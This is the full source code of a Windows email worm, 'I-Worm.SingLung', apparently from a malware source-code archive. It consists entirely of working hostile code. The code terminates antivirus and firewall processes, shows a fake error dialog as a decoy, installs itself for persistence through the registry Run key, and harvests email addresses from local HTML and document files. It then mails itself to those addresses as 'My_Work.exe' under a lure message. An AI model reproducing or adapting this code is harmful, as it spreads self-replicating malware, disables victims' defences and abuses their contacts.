MalwareSourceCode/Win32/InternetWorm/I-Worm.SingLung.c

/*
Name : I-Worm.SingLung
Author : PetiK
Date : January 23rd 2002 - January 26th 2002
Language : C++/Win32asm

Greetz to Bumblebee (I-Worm.Plage and I-Worm.Rundll);
*/

#include <stdio.h>
#include <windows.h>
#include <mapi.h>
#include <tlhelp32.h>
#pragma argused
#pragma inline


char 	filename[100],sysdir[100],sysdr[100],winhtm[100];
LPSTR 	Run="Software\\Microsoft\\Windows\\CurrentVersion\\Run",
	SHFolder=".DEFAULT\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders";
int	i;
HANDLE	fd,lSnapshot,myproc;
BOOL	rProcessFound;
BYTE	desktop[50],favoris[50],personal[50],cache[50];
DWORD	sizcache=sizeof(desktop),sizfavoris=sizeof(favoris),
	sizpersonal=sizeof(personal),sizdesktop=sizeof(cache);
DWORD	type=REG_SZ;
FILE	*stopv;

LHANDLE session;
MapiMessage mess;
MapiRecipDesc from;
HINSTANCE hMAPI;

HKEY		hReg;
PROCESSENTRY32 	uProcess;
SYSTEMTIME	systime;
WIN32_FIND_DATA	ffile;
HDC		dc;

void Welcome();
void StopAV(char *);
void FindFile(char *,char *);
void GetMail(char *,char *);
void sendmail(char *);
void FeedBack();

//ULONG (PASCAL FAR *RegSerPro)(ULONG, ULONG);
ULONG (PASCAL FAR *mSendMail)(ULONG, ULONG, MapiMessage*, FLAGS, ULONG);


int WINAPI WinMain (HINSTANCE hInst, HINSTANCE hPrev, LPSTR lpCmd, int nShow)
{
	/*
	// Worm in RegisterServiceProcess
	HMODULE kern32=GetModuleHandle("KERNEL32.DLL");
	if(kern32) {
		(FARPROC &)RegSerPro=GetProcAddress(kern32,"RegisterServiceProcess");
		if(RegSerPro)
		RegSerPro(NULL,1);
	}	*/

// Fuck some AntiVirus hahahaha
StopAV("AVP32.EXE");		// AVP
StopAV("AVPCC.EXE");		// AVP
StopAV("AVPM.EXE");		// AVP
StopAV("WFINDV32.EXE");		// Dr. Solomon
StopAV("F-AGNT95.EXE");		// F-Secure
StopAV("NAVAPW32.EXE");		// Norton Antivirus
StopAV("NAVW32.EXE");		// Norton Antivirus
StopAV("NMAIN.EXE");		// Norton Antivirus
StopAV("PAVSCHED.EXE");		// Panda AntiVirus
StopAV("ZONEALARM.EXE");	// ZoneAlarm

GetModuleFileName(hInst,filename,100);
GetSystemDirectory((char *)sysdir,100);

strcpy(sysdr,sysdir);
strcat(sysdr,"\\MSGDI32.EXE");
if((lstrcmp(filename,sysdr))!=0) {
	Welcome();
	}
else
	{
	hMAPI=LoadLibrary("MAPI32.DLL");
	(FARPROC &)mSendMail=GetProcAddress(hMAPI, "MAPISendMail");
	RegOpenKeyEx(HKEY_USERS,SHFolder,0,KEY_QUERY_VALUE,&hReg);
	RegQueryValueEx(hReg,"Desktop",0,&type,desktop,&sizdesktop);
	RegQueryValueEx(hReg,"Favorites",0,&type,favoris,&sizfavoris);
	RegQueryValueEx(hReg,"Personal",0,&type,personal,&sizpersonal);
	RegQueryValueEx(hReg,"Cache",0,&type,cache,&sizcache);
	RegCloseKey(hReg);
	GetWindowsDirectory((char *)winhtm,100);

_asm
{
call	@wininet
db	"WININET.DLL",0
@wininet:
call	LoadLibrary
test	eax,eax
jz	end_asm
mov	ebp,eax
call	@inetconnect
db	"InternetGetConnectedState",0
@inetconnect:
push	ebp
call	GetProcAddress
test	eax,eax
jz	end_wininet
mov	edi,eax
verf:
push	0
push	Tmp
call	edi
dec	eax
jnz	verf

end_wininet:
push	ebp
call	FreeLibrary
end_asm:
jmp	end_all_asm

Tmp	dd 0

end_all_asm:
}

	FindFile(desktop,"*.htm");
	FindFile(favoris,"*.ht*");
	FindFile(personal,"*.ht*");
	FindFile(personal,"*.doc");
	FindFile(winhtm,".ht*");
	FindFile(cache,".ht*");
	FreeLibrary(hMAPI);
	FeedBack();
	}

strcat(sysdir,"\\MsGDI32.exe");
CopyFile(filename,sysdir,FALSE);
RegOpenKeyEx(HKEY_LOCAL_MACHINE,Run,0,KEY_WRITE,&hReg);
RegSetValueEx(hReg,"Microsoft GDI 32 bits",0,REG_SZ,(BYTE *)sysdir,100);
RegCloseKey(hReg);

}

void Welcome()
{
register char fileWel[100],messWel[25],titWel[25];
strcpy(fileWel,filename);
fileWel[0]=0;
for(i=strlen(filename);i>0 && filename[i]!='\\';i--);
wsprintf(titWel,"Error - %s",fileWel+i+1);
wsprintf(messWel,"File - %s - damaged.\nCannot open this file.",fileWel+i+1);
MessageBox(NULL,messWel,titWel,MB_OK|MB_ICONHAND);
}


void StopAV(char *antivirus)
{
register BOOL term;
lSnapshot=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
uProcess.dwSize=sizeof(uProcess);
rProcessFound=Process32First(lSnapshot,&uProcess);
while(rProcessFound) {
	if(strstr(uProcess.szExeFile,antivirus)!=NULL) {	// Norton Antivirus
		myproc=OpenProcess(PROCESS_ALL_ACCESS,FALSE,uProcess.th32ProcessID);
		if(myproc!=NULL) {
			term=TerminateProcess(myproc,0);
		}
		CloseHandle(myproc);
	}
	rProcessFound=Process32Next(lSnapshot,&uProcess);
}
CloseHandle(lSnapshot);
}


void FindFile(char *folder, char *ext)
{
register bool abc=TRUE;
register HANDLE hFile;
char mail[128];
SetCurrentDirectory(folder);
hFile=FindFirstFile(ext,&ffile);
if(hFile!=INVALID_HANDLE_VALUE) {
	while(abc) {
	SetFileAttributes(ffile.cFileName,FILE_ATTRIBUTE_ARCHIVE);
	GetMail(ffile.cFileName,mail);
	if(strlen(mail)>0) {
	WritePrivateProfileString("EMail found",mail,"send","singlung.txt");
	sendmail(mail);
	}
	abc=FindNextFile(hFile,&ffile);
	}
}

}

void GetMail(char *namefile, char *mail)
{
HANDLE	hf,hf2;
char	*mapped;
DWORD	size,i,k;
BOOL	test=FALSE,valid=FALSE;
mail[0]=0;

hf=CreateFile(namefile,GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,FILE_ATTRIBUTE_ARCHIVE,0);
if(hf==INVALID_HANDLE_VALUE)
	return;
size=GetFileSize(hf,NULL);
if(!size)
	return;
if(size<8)
	return;
size-=100;

hf2=CreateFileMapping(hf,0,PAGE_READONLY,0,0,0);
if(!hf2) {
	CloseHandle(hf);
	return;
	}

mapped=(char *)MapViewOfFile(hf2,FILE_MAP_READ,0,0,0);
if(!mapped) {
	CloseHandle(hf2);
	CloseHandle(hf);
	return;
	}

i=0;
while(i<size && !test) {
if(!strncmpi("mailto:",mapped+i,strlen("mailto:"))) {
	test=TRUE;
	i+=strlen("mailto:");
	k=0;
	while(mapped[i]!=34 && mapped[i]!=39 && i<size && k<127) {
		if(mapped[i]!=' ') {
			mail[k]=mapped[i];
			k++;
			if(mapped[i]=='@')
				valid=TRUE;
		}
		i++;
	}
	mail[k]=0;
	} else
	i++;
}

if(!valid)
	mail[0]=0;
UnmapViewOfFile(mapped);
CloseHandle(hf2);
CloseHandle(hf);
return;
}

void sendmail(char *tos)
{
memset(&mess,0,sizeof(MapiMessage));
memset(&from,0,sizeof(MapiRecipDesc));

from.lpszName=NULL;
from.ulRecipClass=MAPI_ORIG;
mess.lpszSubject="Secret for you...";
mess.lpszNoteText="Hi Friend,\n\n"
		"I send you my last work.\n"
		"Mail me if you have some suggests.\n\n"
		"	See you soon. Best Regards.";

mess.lpRecips=(MapiRecipDesc *)malloc(sizeof(MapiRecipDesc));
	if(!mess.lpRecips)
	return;
memset(mess.lpRecips,0,sizeof(MapiRecipDesc));
mess.lpRecips->lpszName=tos;
mess.lpRecips->lpszAddress=tos;
mess.lpRecips->ulRecipClass=MAPI_TO;
mess.nRecipCount=1;

mess.lpFiles=(MapiFileDesc *)malloc(sizeof(MapiFileDesc));
	if(!mess.lpFiles)
	return;
memset(mess.lpFiles,0,sizeof(MapiFileDesc));
mess.lpFiles->lpszPathName=filename;
mess.lpFiles->lpszFileName="My_Work.exe";
mess.nFileCount=1;

mess.lpOriginator=&from;

mSendMail(0,0,&mess,0,0);

free(mess.lpRecips);
free(mess.lpFiles);
}


void FeedBack()
{
GetSystemTime(&systime);
switch(systime.wDay) {
case 7:
	MessageBox(NULL,"It is not with a B-52 that you will stop terrorist groups.\n"
			"With this, you stop the life of women and children.",
			"Message to USA",MB_OK|MB_ICONHAND);
	break;

case 11:
	dc=GetDC(NULL);
	if(dc)
	{
	TextOut(dc,300,300,"Can we try to stop the conflicts ? YES OF COURSE !",50);
	}
	ReleaseDC(NULL,dc);
	break;

case 28:
	stopv=fopen("StopIntifada.htm","w");
	fprintf(stopv,"<html><head><title>Stop Violence between Palestinians and Israeli</title></head>\n");
	fprintf(stopv,"<body bgcolor=blue text=yellow>\n");
	fprintf(stopv,"<p align=\"center\"><font size=\"5\">HOW TO STOP THE VIOLENCE</font></p><BR>\n");
	fprintf(stopv,"<p align=\"left\"><font size=\"3\">-THE ISRAELIS:</font><BR>\n");
	fprintf(stopv,"<font>To take the israelis tank out of the palestinians autonomous city.</font><BR>\n");
	fprintf(stopv,"<font>Don't bomb civil place after a terrorist bomb attack.</font><BR>\n");
	fprintf(stopv,"<font>To arrest and to kill the leaders of terrorist groups.</font><BR><BR>\n");
	fprintf(stopv,"<font>-THE PALESTINIANS:</font><BR>\n");
	fprintf(stopv,"<font>To stop to provoke the israelis army.</font><BR>\n");
	fprintf(stopv,"<font>To stop the terrorist attacks.</font><BR><BR>\n");
	fprintf(stopv,"<font>-THE BOTH:</font><BR>\n");
	fprintf(stopv,"<font>To try to accept the other people.</font><BR>\n");
	fprintf(stopv,"<font>TO ORGANIZE A MEETING BETWEEN ARIEL SHARON AND YASSER ARAFAT !</font><BR><BR>\n");
	fprintf(stopv,"<font>Thanx to read this.</font></p>\n");
	fprintf(stopv,"</body></html>");
	fclose(stopv);
	ShellExecute(NULL,"open","StopIntifada.htm",NULL,NULL,SW_SHOWMAXIMIZED);
	
	break;
}
}